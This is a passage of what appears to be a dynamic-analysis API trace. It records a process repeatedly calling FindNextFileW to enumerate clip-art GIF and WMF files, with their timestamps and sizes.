nFileSizeHigh=0x0, nFileSizeLow=0xd9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00120_.GIF", cAlternateFileName="")) returned 1 [0277.326] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00126_.GIF", cAlternateFileName="")) returned 1 [0277.326] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf4794eb, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x30c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00129_.GIF", cAlternateFileName="")) returned 1 [0277.326] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1485, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00130_.GIF", cAlternateFileName="")) returned 1 [0277.326] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00135_.GIF", cAlternateFileName="")) returned 1 [0277.326] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xd790bed, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x296f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00139_.GIF", cAlternateFileName="")) returned 1 [0277.326] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf45328f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xf45328f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xf45328f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3bcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00142_.GIF", cAlternateFileName="")) returned 1 [0277.326] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdbe306f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00154_.GIF", cAlternateFileName="")) returned 1 [0277.326] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00157_.GIF", cAlternateFileName="")) returned 1 [0277.326] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00158_.GIF", cAlternateFileName="")) returned 1 [0277.326] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x47a, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00160_.GIF", cAlternateFileName="")) returned 1 [0277.326] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d9f, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00161_.GIF", cAlternateFileName="")) returned 1 [0277.327] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1b48, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00163_.GIF", cAlternateFileName="")) returned 1 [0277.327] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x33c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00164_.GIF", cAlternateFileName="")) returned 1 [0277.327] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2186, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00165_.GIF", cAlternateFileName="")) returned 1 [0277.327] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x131e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00167_.GIF", cAlternateFileName="")) returned 1 [0277.327] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdbe306f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdbe306f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xeb3c2ce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14ff, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00169_.GIF", cAlternateFileName="")) returned 1 [0277.327] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2420, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00170_.GIF", cAlternateFileName="")) returned 1 [0277.327] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1398, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00171_.GIF", cAlternateFileName="")) returned 1 [0277.327] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbcb1a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1126, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00172_.GIF", cAlternateFileName="")) returned 1 [0277.328] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xdb709c6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xdb709c6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xdb96b67, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00174_.GIF", cAlternateFileName="")) returned 1 [0277.328] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd32, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00175_.GIF", cAlternateFileName="")) returned 1 [0277.328] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xc30, dwReserved0=0x0, dwReserved1=0x0, cFileName="AG00176_.GIF", cAlternateFileName="")) returned 1 [0277.328] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00010_.WMF", cAlternateFileName="")) returned 1 [0277.328] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x127e, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00015_.WMF", cAlternateFileName="")) returned 1 [0277.328] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1634, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00790_.WMF", cAlternateFileName="")) returned 1 [0277.328] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5062, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00853_.WMF", cAlternateFileName="")) returned 1 [0277.328] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00914_.WMF", cAlternateFileName="")) returned 1 [0277.328] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x385c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00932_.WMF", cAlternateFileName="")) returned 1 [0277.328] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN00965_.WMF", cAlternateFileName="")) returned 1 [0277.329] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbcb1a5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbcb1a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xd10, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01039_.WMF", cAlternateFileName="")) returned 1 [0277.329] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x63c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01044_.WMF", cAlternateFileName="")) returned 1 [0277.329] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01060_.WMF", cAlternateFileName="")) returned 1 [0277.329] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x728, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01084_.WMF", cAlternateFileName="")) returned 1 [0277.329] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x66dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01173_.WMF", cAlternateFileName="")) returned 1 [0277.329] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x6cd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01174_.WMF", cAlternateFileName="")) returned 1 [0277.329] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcbf13fd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xea2, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01184_.WMF", cAlternateFileName="")) returned 1 [0277.329] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x16cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01216_.WMF", cAlternateFileName="")) returned 1 [0277.329] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01218_.WMF", cAlternateFileName="")) returned 1 [0277.330] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xac4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01251_.WMF", cAlternateFileName="")) returned 1 [0277.330] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcbf13fd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcbf13fd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1ccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN01545_.WMF", cAlternateFileName="")) returned 1 [0277.330] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xccaffc4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1d74, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02122_.WMF", cAlternateFileName="")) returned 1 [0277.330] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc63b1c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc63b1c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x19e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02559_.WMF", cAlternateFileName="")) returned 1 [0277.330] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc89dc9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN02724_.WMF", cAlternateFileName="")) returned 1 [0277.330] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2418, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN03500_.WMF", cAlternateFileName="")) returned 1 [0277.330] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc63b1c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x928, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04108_.WMF", cAlternateFileName="")) returned 1 [0277.330] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcc3d96c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN04117_.WMF", cAlternateFileName="")) returned 1 [0277.330] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fceee0 | out: lpFindFileData=0x2fceee0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc3d96c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcc3d96c, ftLastAccessTime.dwHighDateTime=0x1d327e8, 